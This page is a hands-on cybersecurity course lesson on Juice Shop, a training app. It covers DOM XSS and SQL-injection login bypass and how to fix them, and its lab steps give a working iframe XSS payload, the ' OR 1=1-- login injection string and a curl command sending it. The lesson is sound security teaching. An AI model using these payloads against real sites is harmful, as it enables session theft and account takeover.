05 [Cybersecurity hands-on](https://logicpacks.io/learn/cyber) · Lesson 5 of 10 · lab

# XSS and broken login on Juice Shop

Make a page run your script, then log in as the admin without the password.

Roman Urdu: Page pe apna script chalao (XSS), phir bina password admin ban kr login kro.

## Video transcript

Two classic web bugs: XSS, and broken login. One steals sessions. The other hands over accounts.

Cross-site scripting, or XSS, happens when a page takes text from a user and puts it into the page without cleaning it. The browser cannot tell it from the site's own code. So it runs it.

A script running in someone's page can read their session, and act as them. In DOM XSS, the unsafe step is in the page's own JavaScript, so nothing even has to reach the server.

Broken login is lesson four again. If the login form glues your email into a SQL query, injected SQL can cut off the password check. The database returns the first user, often the admin. You are in, without a password.

The fixes. For XSS: encode anything a user typed before it goes into a page, and add a content security policy. For login: prepared statements, rate limits, and a second factor.

So: never trust input. Not in the page, and not in the query. In the lab, on the training app Juice Shop, you solve two challenges: a DOM XSS, and logging in as the admin. Only on training apps, or systems you are allowed to test.

[Video file (MP4, 1 min 25 s, 3.5 MB)](https://logicpacks.io/learn/media/cyber/xss-and-auth-juice-shop/lesson.mp4) · [Captions (WebVTT)](https://logicpacks.io/learn/media/cyber/xss-and-auth-juice-shop/lesson.vtt)

Rules: Only test systems you own or have written permission to test. Everything in this track runs against practice targets inside your own machine. Scanning or attacking anyone else’s system without permission is a crime in most countries.

## Goal

Solve two Juice Shop challenges: a DOM XSS and logging in as the admin with SQL injection.

## Why it matters

XSS steals sessions and broken login hands over accounts. Both are on every web security checklist.

## Your machine · learn-cyber · lab cyber-05

First time: make your course machine from any terminal (Mac, Linux and Windows 10+ all have ssh). Your ssh key is your login; a new key picks a handle and accepts the terms first.

```sh
ssh -t -p 2200 m.logicpacks.io new cyber --name learn-cyber
```

After that, come back to the same machine any time. Your files are still there:

```sh
ssh -t -p 2200 learn-cyber@m.logicpacks.io
```

To use the terminal in this page, sign this browser in once: run this and open the link it prints.

```sh
ssh -p 2200 m.logicpacks.io web
```

All your machines in the browser: [logicpacks.io/m](https://logicpacks.io/m). A guest key gets one machine: if you already use it for something else, `rm` that one or link a free account (3 machines). How machines work, credits and terms: [logicpacks.io/machines](https://logicpacks.io/machines)

## Step by step

1.  Start the practice targets (about 20 seconds; Juice Shop is the slowest).
    
    ```sh
    lab start
    ```
    
    ```sh
    lab status
    ```
    
    Diagram: cross-site scripting. Text from a user that is really a script is put into a page without being cleaned, and the browser runs it as the site's own code. The fix is to encode user text before it goes into a page.
    
    XSS: user text that is really a script lands in a page uncleaned, and the browser runs it. Encoding user text stops it.
    
2.  Open Juice Shop in your browser (the Juice Shop tile, or http://localhost:3000 through the lesson 3 tunnel) and find its score board at `/#/score-board`.
    
3.  In the search box, paste this payload and press Enter. An alert means the page ran your code.
    
    ```sh
    <iframe src="javascript:alert(`xss`)">
    ```
    
4.  On the login page, use the email `' OR 1=1--` and any password. You are now the first user in the database: the admin. The same attack from the terminal:
    
    ```sh
    curl -s http://juice.lab:3000/rest/user/login -H "Content-Type: application/json" -d "{\"email\":\"' OR 1=1--\",\"password\":\"x\"}" | head -c 200; echo
    ```
    
5.  See which challenges you solved.
    
    ```sh
    curl -s "http://juice.lab:3000/api/Challenges/?solved=true" | jq -r '.data[].name'
    ```
    

## Check my work

Run this in your machine. It checks your work and prints PASS, or FAIL with a hint about what is missing.

```sh
lab check cyber-05
```

[Previous : SQL injection on DVWA, by hand and with sqlmap](https://logicpacks.io/learn/cyber/sql-injection-dvwa) [Next : Password hashes with John the Ripper](https://logicpacks.io/learn/cyber/password-hashes)

---

Canonical URL: https://logicpacks.io/learn/cyber/xss-and-auth-juice-shop

Developed by TechRealm (techrealm.online), the software team. Operated by Al Jash Trading (Establishment), Abu Dhabi, since 1994, the legal entity that hosts and is responsible for the service. Economic licence CN-1030597, Abu Dhabi Registration Authority. Address: Office 5, Bani Yas West 4, Bani Yas, Abu Dhabi, UAE. Website: https://aljashtrading.com. Contact: hello@logicpacks.io, security@logicpacks.io, WhatsApp +1 713 632 2262 (https://wa.me/17136322262).

Machine-readable index: [/llms.txt](https://logicpacks.io/llms.txt). Plain facts: [/about.md](https://logicpacks.io/about.md). Safety: [/safety.md](https://logicpacks.io/safety.md).
